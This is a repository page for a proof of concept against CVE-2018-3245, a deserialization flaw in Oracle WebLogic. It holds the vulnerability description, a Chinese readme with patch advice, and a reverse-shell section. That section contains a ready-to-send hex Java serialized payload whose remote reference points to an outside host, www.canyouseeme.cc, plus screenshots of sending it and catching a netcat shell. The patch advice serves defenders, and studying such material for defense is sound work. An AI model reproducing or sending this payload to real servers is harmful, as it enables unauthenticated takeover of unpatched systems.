CVE-2018-3245 PoC — Oracle Fusion Middleware WebLogic Server组件安全漏洞

Source

https://github.com/jas502n/CVE-2018-3245

Associated Vulnerability

Title: Oracle Fusion Middleware WebLogic Server组件安全漏洞 (CVE-2018-3245)
Description:Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Core Components). Supported versions that are affected are 10.3.6.0, 12.1.3.0 and 12.2.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Description

CVE-2018-3245

Readme

# Weblogic-CVE-2018-3245
CVE-2018-3245

## 0x00 简介
当地时间10月16日，北京时间10月17日凌晨，Oracle官方发布了10月份（第三季度）关键补丁更新CPU（Critical Patch Update）,

其中修复了一个7月份（第二季度）CPU补丁中未能完全修复的（CVE-2018-2893）Weblogic远程代码执行漏洞，此次新修复的漏洞编号为CVE-2018-3245。

### 解决方案
Oracle官方已经在本次的关键补丁更新（CPU）中修复了该漏洞，强烈建议受影响的用户尽快升级更新进行防护。

##### 注：Oracle官方补丁需要用户持有正版软件的许可账号，使用该账号登陆https://support.oracle.com后，可以下载最新补丁。


### Oracle官方CPU链接：

https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html


## 0x01 获取反弹shell

![](./exp.jpg)



![](./send-payload.png)
```
jas502n-poc.txt 

Payload(hex): aced00057372002f636f6d2e73756e2e6a6e64692e726d692e72656769737472792e5265666572656e6365577261707065725f5374756200000000000000020200007872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a0200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007870773b000a556e696361737452656600127777772e63616e796f757365656d652e636300001a0c0000000009e0b68e00000000000000000000000000000078
```

![](./nc-shell.png)

File Snapshot

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